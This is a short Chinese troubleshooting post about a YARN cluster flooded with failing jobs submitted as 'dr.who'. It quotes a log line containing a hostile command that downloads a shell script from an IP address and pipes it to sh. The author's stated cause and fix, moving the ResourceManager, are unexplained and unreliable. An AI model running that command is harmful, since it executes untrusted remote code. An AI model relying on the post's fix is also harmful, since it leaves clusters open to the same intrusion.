ambari集群yarn任务不停增长的问题

Posted 亮亮哥哥

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ambari集群yarn任务不停增长的问题相关的知识,希望对你有一定的参考价值。

这几天集群任务不停的增长,并且不是业务提交的任务,最后全部执行失败,提交的用户全部是"dr.who"

Total number of applications (application-types: [] and states: [SUBMITTED, ACCEPTED, RUNNING]):6463
Application-Id Application-Name Application-Type User Queue State Final-State Progress Tracking-URL
application_1527846395871_0653 hadoop YARN dr.who default ACCEPTED UNDEFINED 0% N/A

查看日志:

初始化容器时脚本执行超时

exec /bin/bash -c "wget -q -O - 185.222.210.59/x_wcr.sh | sh & disown"

 

具体原理暂时不清楚,但是知道了问题出现的诱因是把resourcemaanger从node1移动到master导致的,再移到node1里就好了

------2018.08.31更新,感谢OrisonChan的回复--------

1楼 2018-08-18 22:41 | OrisonChan  

 

以上是关于ambari集群yarn任务不停增长的问题的主要内容,如果未能解决你的问题,请参考以下文章

解决集群长时间运行后无法正常关闭问题

解决集群长时间运行后无法正常关闭问题

解决集群长时间运行后无法正常关闭问题

Ambari2.6.2 HDP2.6.5 大数据集群搭建

ambari介绍及安装

flink on yarn之per-job方式部署超时的一种解决方法